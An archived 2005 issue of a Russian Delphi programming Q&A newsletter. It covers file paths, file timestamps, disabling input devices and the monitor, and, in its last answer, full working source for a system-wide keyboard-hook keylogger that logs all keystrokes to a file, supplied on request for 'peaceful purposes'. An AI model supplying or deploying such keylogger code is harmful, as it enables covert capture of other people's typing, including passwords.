RusFAQ.ru: Программирование на Delphi

/ КОМПЬЮТЕРЫ И ПО / Языки программирования / Delphi

Выпуск № 212
от 18.08.2005, 00:05

Вопрос № 24.766

Я уже обращался к вам с расными вопросами и вы мне хорошо помагли. Спасибо! Но вот новый вопрос. Записываю в файл отчета, который лежит в GetCurrentDir + 'ПримерыStatikFile.ini', данные, а потом мне надо вывести файл memo. А загвоздка вот в чем. Запись и вывод происходит в разных формахи естественно и процедуры разные. Если сначало выполняется вывод, а потом запись, то ничего. А если наобарот то компилятор ругается что папки нет. Почему он добавляет ещё одну папку 'Примеры'? Вообще ошибка наблюдается при выводе данных. Но её не возникает если после записи Читать не из GetCurrentDir + 'ПримерыStatikFile.ini', а GetCurrentDir + 'StatikFile.ini'. При этом если так и прописать в проге при выполнении сперва чтения происходит ошибка - опять ненаходит файл по адресу GetCurrentDir + 'StatikFile.ini', и в этом случае он не добавляет в адрес папку 'Примеры'. Вот сами процедуры: //Запись procedure TFormPley.BitBtn1Click(Sender: TObject); begin try STAT:=TStringList.Create; STAT.LoadFromFile('StatikFile.ini'); except end; STAT.Add(DateToStr(Date)+#13+#10+TimeToStr(Time)+#13+#10+nam+#13+#10+ NameLabel.Caption+#13+#10+IntToStr(u)+#13+#10+masoc[0,0]+#13+#10+ IntToStr(ioc)+#13+#10+Iz); STAT.SaveToFile('StatikFile.ini'); STAT.Free; end; procedure TStatistik.FormActivate(Sender: TObject); begin Memo1.Lines.LoadFromFile(GetCurrentDir+'ПримерыStatikFile.ini'); end; Большая прозьба, Ответы представлять хоть с каким нибудь, но наглядным примером. Заранее спасибо.

Отправлен: 12.08.2005, 06:25 Вопрос задал: Puld (статус: Посетитель) Всего ответов: 4 Мини-форум вопроса >>> (сообщений: 0)

Отвечает: Rusland Здравствуйте, Puld! Вместо GetCurrentDir используй ExtractFilePath(Application.ExeName). Удачи. --------- Тише едешь, дальше будешь... от того места куда едешь

Ответ отправил: Rusland (статус: Студент) Отправлен: 12.08.2005, 09:54

Отвечает: Zubex Здравствуйте, Puld! По моему в Вашем коде и есть ответ на вопрос: STAT.LoadFromFile('StatikFile.ini'); STAT.SaveToFile('StatikFile.ini'); //Здесь Вы читаете и записываете в каталоге программы; Memo1.Lines.LoadFromFile(GetCurrentDir+'ПримерыStatikFile.ini'); //Здесь Вы читаете в каталоге "Примеры"...

Ответ отправил: Zubex (статус: 1-ый класс) Отправлен: 12.08.2005, 11:13

Отвечает: Denisss Здравствуйте, Puld! Вся Ваша ошибка, по видимому в том, что Вы считаете, что GetCurrentDir Вам выдает папку, в которой находится программа. Это не совсем так. Т.е. само приложение может лежать в любой папке. При этом, я даже однажды сталкнулся с неудобством в использовании такого подхода: программа также использовала такой подход, а я запустил ее через ярлык на рабочем столе, в итоге, программа сделала файлы настроек у меня на рабочем столе. Приложение: function GetAppPath: string; // Функция возвращает путь к папке, в которой // лежит программа begin Result:= ExtractFilePath(ParamStr(0)); end; procedure TStatistik.FormActivate(Sender: TObject); var stFile: string; begin stFile:= GetAppPath + 'ПримерыStatikFile.ini'; if FileExists(stFile) then Memo1.Lines.LoadFromFile(stFile) else Memo1.Clear; end; procedure TForm1.BitBtn1Click(Sender: TObject); var stFile: string; STAT: TStringList; begin stFile:= GetAppPath + 'ПримерыStatikFile.ini'; STAT:=TStringList.Create; try if FileExists(stFile) then STAT.LoadFromFile(stFile); STAT.Add(DateToStr(Date)+^M^J+TimeToStr(Time)+^M^J+nam+^M^J+ NameLabel.Caption+^M^J+IntToStr(u)+^M^J+masoc[0,0]+^M^J+ IntToStr(ioc)+^M^J+Iz); STAT.SaveToFile(stFile); finally FreeAndNil(STAT); end; end;

Ответ отправил: Denisss (статус: Студент) Отправлен: 12.08.2005, 15:41

Отвечает: Ерёмин Андрей Здравствуйте, Puld! Насколько я вижу, тут надо строчки немного местами поменять, а вместо GetCurrentDir() использовать ExtractFilePath(Application.ExeName): procedure TFormPley.BitBtn1Click(Sender: TObject); begin STAT:=TStringList.Create; try STAT.LoadFromFile(ExtractFilePath(Application.ExeName)+'ПримерыStatikFile.ini'); except Abort; end; STAT.Add(DateToStr(Date)+#13+#10+TimeToStr(Time)+#13+#10+nam+#13+#10+ NameLabel.Caption+#13+#10+IntToStr(u)+#13+#10+masoc[0,0]+#13+#10+ IntToStr(ioc)+#13+#10+Iz); STAT.SaveToFile(ExtractFilePath(Application.ExeName)+'ПримерыStatikFile.ini'); STAT.Free; end; procedure TStatistik.FormActivate(Sender: TObject); begin Memo1.Lines.LoadFromFile(ExtractFilePath(Application.ExeName)+'ПримерыStatikFile.ini'); end; --------- Если б не было бы глюка, жизнь была б такая скyка...

Ответ отправил: Ерёмин Андрей (статус: Студент) Отправлен: 12.08.2005, 19:33

Вопрос № 24.772

При просмотре свойств файла в проводнике (XP) можно увидеть дату и время последнего создания, изменения и открытия файла. Подскажите, как в D7 получить эти данные (например в поле memo)?

Отправлен: 12.08.2005, 12:18 Вопрос задала: Svetlana (статус: Посетитель) Всего ответов: 4 Мини-форум вопроса >>> (сообщений: 1)

Отвечает: Rusland Здравствуйте, Svetlana! Можно использовать функцию GetFileAttributesEx (не забудь подключить winbase) - функция возвращает структуру на всю информацию о файле. Второй способ смотри в приложении. Удачи. Приложение: function TForm1.GetFileDate(FileName:string):string; var FHandle:integer; //вычисление даты и времени последнего изменения файла Search: TSearchRec; begin if FindFirst(FileName, faDirectory, Search) = 0 then //проверяем наличие файла begin FHandle:=FileOpen(FileName,0); try Result:=FormatDateTime('ddddd',FileDateToDateTime(FileGetDate(FHandle)))+'г. '+FormatDateTime('t',FileDateToDateTime(FileGetDate(FHandle))); finally FileClose(FHandle); end; end; end; --------- Тише едешь, дальше будешь... от того места куда едешь

Ответ отправил: Rusland (статус: Студент) Отправлен: 12.08.2005, 12:24

Отвечает: xXx Здравствуйте, Svetlana! В приложении функция, которая возвращает дату последнего изменения файла. Напиши примерно следующее: Memo1.Lines.Add(GetFileDate('file.ext')); Не забудь в програмку добавить эту функцию. Удачи. Приложение: function GetFileDate(FileName: string): string; var FHandle: Integer; begin FHandle := FileOpen(FileName, 0); try Result := DateTimeToStr(FileDateToDateTime(FileGetDate(FHandle))); finally FileClose(FHandle); end; end;

Ответ отправил: xXx (статус: 4-ый класс) Отправлен: 12.08.2005, 12:40

Отвечает: Ерёмин Андрей Здравствуйте, Svetlana! Элементарно, Светлана! Функция GetFileTime() - возвращает дату и время создания файла, его последнего открытия и последнего изменения. Подробности в справочнике по WinAPI. Изменять эти параметры можно с помощью SetFileTime(). --------- Если б не было бы глюка, жизнь была б такая скyка...

Ответ отправил: Ерёмин Андрей (статус: Студент) Отправлен: 12.08.2005, 19:34

Отвечает: Werewolf Здравствуйте, Svetlana! http://delphiworld.narod.ru/base/get_all_info_about_file.html

Ответ отправил: Werewolf (статус: 5-ый класс) Отправлен: 17.08.2005, 01:43

Вопрос № 24.776

Как програмно можно: 1. скрыть целый partition но при етом можно было бы работать с данными сохраненными на нем, 2. дезактивировать мишь, клаву, и, если ето вообше можно, вырубить монитор ...

Отправлен: 12.08.2005, 12:59 Вопрос задал: Negruzzi Cristian (статус: Посетитель) Всего ответов: 2 Мини-форум вопроса >>> (сообщений: 0)

Отвечает: Rusland Здравствуйте, Negruzzi Cristian! 1. не знаю... скорее всего нужно общаться с устройством напрямую через ассемблер 2. В приложении пример использования недокументированной функции из User32.dll, которая блокирует ввод (мышь, клавиатуру кроме Ctrl+Alt+Del). Удачи. Приложение: procedure BlockInput; external 'user32.dll'; procedure TForm1.Button1Click(Sender: TObject); begin asm // блокируем push 1 call BlockInput end; sleep(10000); // ждем 10сек asm // разблокируем push 0 call BlockInput end; end; --------- Тише едешь, дальше будешь... от того места куда едешь

Ответ отправил: Rusland (статус: Студент) Отправлен: 12.08.2005, 14:35 Оценка за ответ: 5 Комментарий оценки: 1. а какнибудь обмануть виндозу чтобы просто их не показывать?

Отвечает: Ерёмин Андрей Здравствуйте, Negruzzi Cristian! Если Вам надоел компьютер, не включайте его или продайте (шутка) :) Выключить монитор: SendMessage(Application.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, 0); Включить монитор: SendMessage(Application.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, -1); Отключить клаиватуру: конецформыначалоформыwinexec(Pchar('rundll32 keyboard,disable' ) ,sw_Show); Отключить мышь: winexec(Pchar('rundll32 mouse,disable' ) ,sw_Show); --------- Если б не было бы глюка, жизнь была б такая скyка...

Ответ отправил: Ерёмин Андрей (статус: Студент) Отправлен: 12.08.2005, 19:34

Вопрос № 24.784

Здраствуйте, мне нужно написать кейлоггер(в мирных целях) помогите пожалуйста зделать это, например чтобы все нажатые клавиши записывались в поле memo, только приведите пример кода. Заранее спасибо.

Отправлен: 12.08.2005, 19:03 Вопрос задал: Станислав (статус: 1-ый класс) Всего ответов: 1 Мини-форум вопроса >>> (сообщений: 0)

Отвечает: Rusland Здравствуйте, Станислав! Смотри пример в приложении (dll + сам проект) - запись идет не в memo, а в файл KeyLog.txt Приложение: // Код для dll library Run32; uses Windows; type TGlobalData = packed record SysHook: HHOOK; end; PGlobalData = ^TGlobalData; var GlobalData: PGlobalData; MMFHandle: THandle; // SysHook: HHOOK; function KeyboardProc(code: integer; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall; var s: string; P: PChar; begin if (code = HC_ACTION) and ((lParam and KF_UP) = 0) and ((lparam and $C0000000) = 0) then begin GetMem(P, 255); GetModuleFileName(hInstance, P, 255); s := P; FreeMem(P); if Pos ('', s) <> 0 then begin while s[Length(s)] <> '' do Delete(s, Length(s), 1); Delete(s, Length(s), 1); end; Assign(output, s + 'KeyLog.txt'); {$I-} Append(output); {$I+} if IOResult <> 0 then begin {$I-} Rewrite(output); {$I+} if IOResult <> 0 then; end; Write(Char(wParam)); Close(output); end; Result := CallNextHookEx(GlobalData^.SysHook, code, wParam, lParam); end; function Hook(hwnd: HWND; hInst: THandle; szCmdLine: PChar; dummy: DWORD): integer; stdcall; begin if szCmdLine = 'Start' then GlobalData^.SysHook := SetWindowsHookEx(WH_KEYBOARD, @KeyboardProc, hInstance, 0) else if szCmdLine = 'Stop' then UnhookWindowsHookEx(GlobalData^.SysHook); Result := 0; end; procedure OpenGlobalData; begin MMFHandle := CreateFileMapping(INVALID_HANDLE_VALUE, nil, PAGE_READWRITE, 0, sizeof(TGlobalData), 'MyMMF'); GlobalData := MapViewOfFile(MMFHandle, FILE_MAP_ALL_ACCESS, 0, 0, sizeof(TGlobalData)); end; procedure CloseGlobalData; begin UnmapViewOfFile(GlobalData); CloseHandle(MMFHandle); end; function DLLEntryPoint(hinstDLL: THandle; dwReason: DWORD; lpvReserved: Pointer): BOOL; stdcall; begin case dwReason of DLL_PROCESS_ATTACH: OpenGlobalData; DLL_PROCESS_DETACH: CloseGlobalData; end; Result := TRUE; end; exports Hook; begin DLLProc := @DLLEntryPoint; DLLEntryPoint(GetModuleHandle(nil), DLL_PROCESS_ATTACH, nil); end. // Код для dll закончен // Код для проекта unit U1; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls; type TForm1 = class(TForm) Button1: TButton; Button2: TButton; procedure Button1Click(Sender: TObject); procedure Button2Click(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation {$R *.dfm} function GetSimpleText(LangRus: Boolean): PChar; stdcall; external 'FirstDLL.DLL'; function Hook(hwnd: HWND; hInst: THandle; szCmdLine: PChar; dummy: DWORD): integer; stdcall; external 'Run32.dll'; procedure TForm1.Button1Click(Sender: TObject); begin Hook(Application.Handle, Application.Handle, 'Start', 0); end; procedure TForm1.Button2Click(Sender: TObject); begin Hook(Application.Handle, Application.Handle, 'Stop', 0); end; end. // Код для проекта закончен --------- Тише едешь, дальше будешь... от того места куда едешь

Ответ отправил: Rusland (статус: Студент) Отправлен: 15.08.2005, 15:27 Оценка за ответ: 5

© 2001-2005, RusFAQ.ru, Россия, Москва. Все права защищены.
Идея, дизайн, программирование, авторское право: Калашников О.А.